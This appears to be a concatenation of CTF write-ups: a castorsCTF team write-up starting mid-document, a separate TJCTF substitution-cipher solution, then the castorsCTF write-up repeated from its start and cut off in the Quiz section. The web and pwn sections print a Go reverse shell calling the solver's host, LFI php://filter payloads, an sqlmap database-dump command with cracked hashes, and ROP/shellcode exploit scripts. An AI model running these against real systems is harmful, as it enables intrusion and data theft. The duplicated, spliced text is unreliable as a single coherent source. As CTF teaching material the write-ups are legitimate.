## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# TJCTF – Typewriter
* **Category:** crypto* **Points:** 30
## Challenge
> Oh no! I thought I typed down the correct flag for this problem on my typewriter, but it came out all jumbled on the paper. Someone must have switched the inner hammers around! According to the paper, the flag is `zpezy{fg_dgkt_atn_pqdl}`.>> hint : > > a becomes q, b becomes w, c becomes e, f becomes y, j becomes p, t becomes z, and z becomes m. Do you see the pattern?
## Solution
As we can see from the description its a substituion cipher
by looking at the hint we see that the key is `qwertyuiopasdfghjklzxcvbnm`
and thats how we recover the flag :
```tjctf{no_more_key_jams}``` |
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
